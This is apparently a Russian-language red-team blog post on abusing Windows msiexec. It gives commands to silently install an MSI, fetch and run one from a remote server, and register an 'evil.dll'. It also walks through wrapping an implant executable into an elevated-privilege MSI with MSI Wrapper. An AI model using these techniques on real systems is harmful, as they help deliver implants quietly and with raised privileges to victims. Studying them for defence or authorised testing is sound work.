Сегодня расскажу о утилите, которая по умолчанию есть на любой системе Windows.
Утилита msiexec является мощным инструментом для специалистов по наступательной безопасности и членов красных команд. Она предоставляет возможности локального и удаленного исполнения кода, а также может быть использована для эксплуатации уязвимостей и злоупотребления опасными привилегиями на определенных конфигурациях систем Windows.
/i - параметр установки. Он используется для запуска установки пакета Windows Installer (.msi)./x - параметр удаления. Он используется для удаления установленного пакета Windows Installer (.msi)./qb или /qn - параметры режима отображения пользовательского интерфейса. /qb отображает минимальное окно прогресса, а /qn выполняет установку без отображения окон пользовательского интерфейса./norestart - параметр, указывающий на отсутствие перезагрузки после завершения установки./passive - параметр режима пассивного отображения пользовательского интерфейса. Он отображает окна прогресса, но не запрашивает пользовательского взаимодействия./quiet - параметр полностью тихого режима. Он выполняет установку без отображения окон пользовательского интерфейса и без запроса взаимодействия пользователя./forcerestart - параметр, указывающий на принудительную перезагрузку после завершения установки, если это необходимо.Некоторые интересные возможности утилиты msiexec:
Исполнение пользовательских файлов .msi в тихом режиме:
Код:
msiexec /quiet /i custom.msi
Код:
msiexec /q /i http://remote-server/file.msi
Код:
msiexec /y "C:\folder\evil.dll" // Регистрация DLL
msiexec /z "C:\folder\evil.dll" // Снятие регистрации DLL
Круто? Я знаю
Делюсь методом, который подглядел в видео у Sektor7:
Тебе потребуется система с ОС Windows, сбегать на этот сайт и скачать файл с программой MSI Wrapper. Установить ее, что бы ты тоже мог делать свои MSI пакеты.
Кстати, если ты переименуешь расширение скачанного файла в .zip то сможешь открыть как архив и посмотреть содержимое. Там как раз будут два исполняемых exe файла и текcтовик с документом типа RTF.
Это классика от Microsoft, многие другие их форматы это просто архив с бинарными файлами и XML'ками которые хранят собственно сами данные в иксэмэльках.
Даже их версия CSV формата - это тупо архив с XML'ками.
Поставили?
Запускаем пока GUI. Все интуитивно понятно, прокликайте как вам удобно.
и сделайте ваш msi пакет с условным калькулятором. Уверен, с гуями разберешься.
На скрине одна из киллерфич данного ПО.
Синтаксис конфигурационного файла для MSI Wrapper.
Данный конфигурационный файл определяет параметры и поведение установщика MSI, используемого для установки программы. Давайте рассмотрим каждую строку по очереди:
<MsiWrapper>: Это корневой элемент конфигурационного файла.<Installer>: Элемент, содержащий параметры установки программы.<IconFile Detect="executable" Value="" />: Определяет путь к файлу иконки программы. Атрибут Detect указывает, что путь должен быть определен на основе исполняемого файла программы.<Output FileName="C:\implant.msi" />: Задает путь и имя файла MSI, который будет создан в результате установки.<InstallPrivileges Value="Elevated" />: Указывает, что установка будет выполняться с повышенными привилегиями.<PerUser Value="yes" />: Устанавливает программу только для текущего пользователя.<UpgradeCode Value="{55F46570-1C98-4098-9191-18B383E567D3}" />: Указывает код обновления для программы. Это идентификатор, который позволяет определить, что новая версия программы является обновлением для предыдущей версии.<ProductId Value="" />: Определяет идентификатор продукта. В данном случае он пустой, что означает, что идентификатор будет сгенерирован автоматически.<Registration Value="None" />: Задает тип регистрации программы. Значение "None" указывает, что программа не должна регистрироваться в операционной системе.<Manufacturer Detect="" Value="AD_POHEQUE" />: Указывает наименование производителя программы. Значение "AD_POHEQUE".<ProductVersion Detect="executable" Value="3.1.3.3.7" />: Определяет версию программы. Значение "3.1.3.3.7" указывает на начальную версию. Атрибут Detect говорит о том, что версия будет определена на основе исполняемого файла.<ProductName Detect="" Value="AD_POHEQUE" />: Задает имя продукта.<Comments Detect="executable" Value="" />: Определяет комментарии к программе. Атрибут Detect указывает, что комментарии должны быть определены на основе исполняемого файла.<Contact Detect="" Value="" />: Определяет контактные данные для связи с производителем программы.<HelpLink Detect="" Value="" />: Указывает ссылку на страницу справки для программы.<UpdateLink Detect="" Value="" />: Задает ссылку на страницу обновлений для программы.<AboutLink Detect="" Value="" />: Определяет ссылку на страницу "О программе".<WrappedInstaller>: Элемент, содержащий информацию о упаковываемом установщике (исполняемом файле).<Executable FileName="C:\implant.exe" SuccessCodes="" Impersonate="no" IncludeFiles="no" CompressionLevel="Max" />: Задает путь к упаковываемому исполняемому файлу программы. В данном случае файл находится по пути C:\implant.exe. Остальные атрибуты не указаны.<ApplicationId Value="" />: Определяет идентификатор приложения.<Install>: Элемент, содержащий параметры установки.<Arguments Value="">: Задает дополнительные аргументы командной строки для установки программы.<UILevelNone Value="" />, <UILevelBasic Value="" />, <UILevelReduced Value="" />, <UILevelFull Value="" />: Определяют уровни пользовательского интерфейса (UI), которые могут быть использованы при установке программы.<RunBeforeInstall Value="" />: Указывает команду или скрипт, который должен быть выполнен перед установкой программы.<RunAfterInstall Value="" />: Задает команду или скрипт, который должен быть выполнен после установки программы.<Uninstall>: Элемент, содержащий параметры удаления.<Arguments Value="">: Задает дополнительные аргументы командной строки для удаления программы.Правим конфиг и собираем из командной строки при помощи бинаря MSI Wrapper.
Код:
"C:\Program Files (x86)\MSI Wrapper\MsiWrapperBatch.exe" config="путь_к_вашему_файлу.xml"
источник t.me/ad_pohueque